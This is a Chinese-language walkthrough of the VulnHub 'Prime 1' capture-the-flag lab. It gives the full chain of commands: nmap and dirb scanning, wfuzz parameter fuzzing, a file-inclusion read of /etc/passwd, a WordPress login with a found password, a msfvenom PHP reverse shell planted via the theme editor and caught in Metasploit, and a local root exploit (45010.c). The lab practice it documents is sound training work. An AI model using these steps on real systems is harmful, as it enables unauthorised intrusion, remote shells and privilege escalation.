001–靶场介绍
Prime是vulnhub靶场环境的一个简单的利用靶场,我们可以在vulnhub的官网里搜索到它,Prime系列共有六个靶场,本次使用的是19年出的第一个靶场环境。
介绍及下载链接:https://www.vulnhub.com/entry/prime-1,358
002–安装
靶场下载后是一个压缩文件,解压后用vm打开就行了,默认网络连接方式是nat,开机后自动获取VM虚拟网卡的dhcp地址。
查看本地的nat网段的操作如下:
003–攻击
本次环境模拟在未知具体ip地址的环境进行渗透,现已知该目标靶机在192.168.41.0/24段,我们打开kali,对该网段进行扫描
nmap -sn 192.168.41.0/24 --用ping扫描41段存活的ip
此时发现192.168.41.135的 ip地址存活(136为本机kali地址),在对135的ip进行详细的扫描
nmap -A -O -sV 192.168.41.135 --综合扫描
此时我们扫描出此目标靶机为ubuntu16系统,22端口和80端口是开放的,我们去访问一下http服务
ps:此时我们看到22端口开放,脑子里第一件想到的事情就是进行root密码爆破,但是真是环境中,直接进行爆破会触发安全设备而被进行拦截,所以爆破虽然是一种可行的方法,但是不建议在没有其他思路的情况下直接开始爆破,而且ubuntu默认禁用root登录。
通过访问,除了一张图片,其余什么也没有,查看页面源代码,也啥也没有此时的思路就是对此应用服务进行目录扫描,此时用御剑或者用kali自带的工具也可以
dirb http://192.168.41.135 -o out.txt --o把扫描结果输出为文件
通过扫描我们可以看到除了默认的的一张图片之外,此web服务器还搭建了一个wordpress。经过访问目录一个个访问,发现/dev有作者的提示,让我们更深的扫描。
此时我们加参数进行扫描
dirb http://192.168.41.135 -X .txt,.php,.zip -o out.txt --X为扩展扫描
扫描完我们发现有三个目标
http://192.168.41.135/image.php
http://192.168.41.135/index.php
http://192.168.41.135/secret.txt
当访问最后一个目标的时候发现有来自作者的提示,作者想让我们通过模糊测试找到我们需要的参数,并给我们提供了一个FUZZ工具。然后查看location.txt文件
此时我们使用kali自带的fuzz工具进行扫描,扫描出需要的参数为file
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.41.135/index.php?FUZZ --w是使用此目录字典,hw是设置结果的过滤参数。
用file参数进行拼接url,说我找错了文件。
然后想起来之前让我们查看location.txt文件拼接起来去访问一下。提示我们用‘secrettier360’这个参数
当我用secrettier360访问的时候,发现页面无变化换成image.php就可以了,这里提示我找到正确的参数了
通过利用这个参数去读取/etc/passwd文件(类似于文件包含),passwd文件提示我去寻找一个password.txt的文件在他的家目录里
通过拼接路径出来应该是/home/saket/password.txt。然后去访问一下,提示应该是说我找到一个密码了,也不知道这是什么密码,用ssh试了一下,用户名在/etc/passwd里(一个一个试),密码为follow_the_ippsec,最后尝试登录不了。
既然ssh的密码不对,那会不会是wordpress的账户密码,开始尝试登陆
通过之前的目录扫描知道wordpress的后台登录url为http://192.168.41.135/wordpress/wp-admin/admin.php
用户名为wordpress唯一一个发过一篇文章的用户victor
成功登录后台,此时的思路应该为后台找到以一个上传点,上传一个php的一句话,然后通过菜刀等工具连接。但是找了好久都没有找到有价值的上传点。
既然没结果就通过cms扫描wordpress看看有没有发现,此时通过cmseek扫描出wordpress的版本号,可以去漏洞库找一下相关版本可利用的漏洞
cmseek -u http://192.168.41.135/wordpress/
然后在网上搜的时候发现可以通过wordpress的主题编辑器的secret.php文件写入一个反向连接的shell,再用msf建立监听就好了
我们使用msfvenom生成shell,msfvenom是msf框架中的一个模块,取代了msfpayload和msfencode,常用于生成木马,在目标机器上执行,在本地机器kali中上线
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.41.136 lport=8888 -o shell.php --p指定php的shell,lhost为攻击机地址,lport为攻击机接受shell的端口,o保存为本地文件
php的shell生成成功,现在把shell文件里的代码拷贝出来,写入到secret.php文件中(注意:php的文件格式为<? php开头的,/*不要复制)
已经成功写入,但是要触发这个secret.php就要知道这个文件的路径,通过之前的目录扫描,和了解网上对于wordpress的主题编辑器的相关文章。查到了该文件的路径为wordpress/wp-content/themes/twentynineteen/secret.php
现在,我们在msf里开启监听
msfconsole --开启msf
use exploit/multi/handler --使用监听模块
show options --查看输入的可选项
set payload php/meterpreter/reverse_tcp --和生成shell参数设置一致
set lhost 192.168.41.136 --kali地址
set lport 8888 --shell接受端口
run --运行,开启监听
然后我们去访问secret.php文件,拼接地址为:http://192.168.41.135/wordpress/wp-content/themes/twentynineteen/secret.php
此时msf上连接已建立,查看当前用户还是一个低权限用户,此时需要提权操作
我们新开一个kali的连接,用msf搜索ubuntu16.04相关的提权。此时我们使用45010.c这个提权脚本
用find名称查找一下这个提权文件的绝对路径并拷贝到当前目录下
find / -name 45010.c 查找文件
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./ 复制到本地目录
用gcc编译此脚本
gcc 45010.c -o 45010
编译好了之后,我们切换到之前的建立shell连接的kali窗口上,把脚本上传到靶机上
upload /root/45010 /tmp/45010
上传成功后输入shell命令,进入shell,添加一个可执行权限并执行
shell --建立一个shell
cd /tmp --切换目录
ls --查看当前文件
chmod +x 45010 --添加可执行权限
./45010 --执行文件
自此提权成功,然后我们可以修改默认账户的登录密码
总结
此靶场,综合性还是蛮高的,还是那句话,过程中不要转牛角尖,解不出来就换一个角度,多学一下工具,总没有坏处!